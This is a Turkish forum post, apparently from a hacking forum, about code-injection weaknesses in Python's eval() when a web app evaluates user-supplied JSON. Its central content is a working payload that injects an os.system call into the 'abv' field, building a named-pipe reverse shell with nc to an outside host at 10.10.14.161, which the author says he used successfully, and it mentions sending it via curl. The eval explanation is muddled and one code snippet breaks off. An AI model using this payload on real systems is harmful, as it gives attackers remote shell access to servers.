• 18-09-2020, 02:17:41
    #1
    Python çok sevdiğim mükemmel bir dildir fakat eğer işinizi bilmiyorsanız yazdığınız kodlarda belli açıklar ortaya çıkartabilirsiniz geçelim anlatımımıza

    [HIDE]

    Eval() Function ;

    Geçenlerde yine bir sistemde rastladım , pythonu web üzerine taşıyıp belli başla işlemler koymuşlar fakat bir açık ortaya çıktığından dolayı filtreleme özelliği koymak istemişler ve burdada eval fonksiyonunu kullanmışlar
    önce eval fonksiyonu nedir ona değinelim ;


    eval bizim dinamik bir kod yürütmemizi sağlıyacak bir fonksiyondur
    üstte toplama işlemi için yapcağımız def olduğunu varsayın genellikle yeni başlıyanlar hesap makinesi fln yaparken kullanıyorlar
    inputa girilen değerler anında toplancaktır ve print ile yazılcaktır fakat eval da böyle değildir eval bu değerleri içinde tutar ve siz print demediğiniz sürece toplamaz ve yazdırmaz gibi düşünebilirsiniz

    Kod:
    while(True):
     
    s = raw_input("toplancak değer girin:")
    tamam güzel hoş fakat bir sorun var eval.py yi incelediğinizde inputa girdiğiniz herşeyi yürütüyor

    zafiyetin bulunduğu kodu inceliyelim daha iyi anlıcaksınız
    eval3.png

    if eval() fonksiyonunu gördüğünüzü umuyorum güzel düşünülmüş güzel filtrelenmiş fakat
    bunu gördüğümde şu şekilde bir kod kodluyarak kolayca zafiyeti kullanabildim

    ezgif.com-gif-maker (1).png

    Kod:
    brew_dict['abv'] = "__import__('os').system('rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.161 1443 1>/tmp/backpipe')"
    hatırlarsınız ki yukarıda eval fonksiyonu ille request.json['abv'] tanımlanmıştı ....

    Peki terminal üzerinden nasıl yaparız Tabiki can dostumuz curl >>

    ezgif.com-gif-maker (3).png

    görebilceğiniz gibi yine aynı şey "abv": '__import__' diye komutumu girmişim .....

    canım sıkıldıkca bir şeyler anlatayım bari


    [/HIDE]